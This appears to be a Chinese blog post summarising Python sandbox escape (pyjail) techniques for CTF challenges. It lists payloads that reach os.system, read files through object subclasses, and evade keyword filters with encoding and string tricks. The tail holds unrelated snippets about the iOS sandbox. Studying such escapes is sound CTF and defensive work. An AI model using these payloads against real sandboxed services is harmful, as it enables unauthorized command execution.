python沙盒逃逸

2022-08-21 20:15:11 字數 2486 閱讀 4344

最近遇到了很多python沙盒逃逸的題目(不知道是不是因為現在python搭的站多了……),實際使用時發現只會複製別人的payload是不夠用的,於是自己來總結一波(順帶一提python沙盒逃逸的英文似乎是pyjail……)

import os

os.system('dir')

os.popen('dir').read()

import platform

platform.popen('dir').read()

platform.os.system('dir')

import timeit

timeit.timeit("__import__('os').system('dir')")

__import__的作用就是匯入乙個包,和import的功能相同

__import__('os')

__import__('os').system('dir')

import os

os.system('dir')

__builtins__指的是python的內建函式(即預定義函式)

dir(__builtins__),可以看到支援很多種函式(如open),所以可以使用

__builtins__.open()
來開啟檔案,讀檔案就可以靠file類的read方法了

__builtins__.open('1.txt').read()
__dict__,以字典形式儲存類的方法和屬性

__builtins__.__dict__['__import__']
有些時候會將重要包的路徑從sys.modules中移除,這時就要

import sys

sys.modules['os']='/usr/lib/python2.7/os.py'

重新定義一下os的路徑

如果將方法關鍵字過濾掉,直接用.來使用方法就不能成功,這時需要使用getattr()函式和__getattribute__方法,或者__getitem__取得字典中的某種方法

getattr(__import__('os'),'system')('dir')

__import__('os').__getattribute__('system')('dir')

__import__('os').__dict__.__getitem__('system')('dir')

有時候會將__builtins__中的一些方法移出這時只要reload一下即可

但python 3.0把reload內建函式移到了imp標準庫模組中

reload(__builtins__)
因為object類存在__subclass__方法,可以獲得所有的子類(其中包括file類,所以可以讀取檔案),獲得object類的方式

().__class__.__bases__[0] #__bases__顯示上乙個繼承的類

''.__class__.__mro__[2] #__mro__顯示類的繼承關係

''.__class__.__bases__[0].__bases__

讀檔案:

().__class__.__bases__[0].__subclasses__()[40]("1.txt").read()

當前的符號表(其中存在__builtins__)

warnings.warningmessage類在object類的第60個子類,直接放payload吧(自己也沒怎麼懂……)

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))

().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__

有時候會對關鍵字進行過濾可以使用不同編碼來過濾,但只能在以字典形式呼叫方法時才能使用

'x19pbxbvcnrfxw=='.decode('base64')  => '__import__'

''.join(['__imp','ort__']) => '__import__'

'__tropmi__'[::-1] => '__import__'

'__imp'+'ort__' => '__import__'

'__buihf9ns__'.replace('hf9','ldi')

dir()[0] => '_'

方法:

找到檔案類

找到讀取檔案的方法

找到os

其他的都是繞過過濾吧……

iOS沙盒 一 沙盒機制

1 ios沙盒機制 ios應用程式只能在為該改程式建立的檔案系統中讀取檔案,不可以去其它地方訪問,此區域被成為沙盒,所以所有的非 檔案都要儲存在此,例如影象,圖示,聲音,映像,屬性列表,文字檔案等。1.1 每個應用程式都有自己的儲存空間 1.2 應用程式不能翻過自己的圍牆去訪問別的儲存空間的內容 1...

解析 智慧型沙盒vs 傳統沙盒

在阻止和分析未知安全威脅方面,智慧型沙盒與普通沙盒技術之間有什麼區別?智慧型沙盒是否可用於企業?michael cobb 企業以及所有網路使用者面對的問題是如何確保反惡意軟體能夠發現並緩解最新攻擊。對於所有安全技術而言,零日漏洞利用是最具挑戰性的威脅,因為它們完全為未知,也沒有補丁,讓網路和裝置易受...

iOS沙盒(sandbox)機制及獲取沙盒路徑

一 每個ios應用sdk都被限制在 沙盒 中,沙盒 相當於乙個加了僅主人可見許可權的資料夾,蘋果對沙盒有以下幾條限制。1 應用程式可以在自己的沙盒裡運作,但是不能訪問任何其他應用程式的沙盒。2 應用程式間不能共享資料,沙盒裡的檔案不能被複製到其他應用程式資料夾中,也不能把其他應用程式資料夾中的檔案複...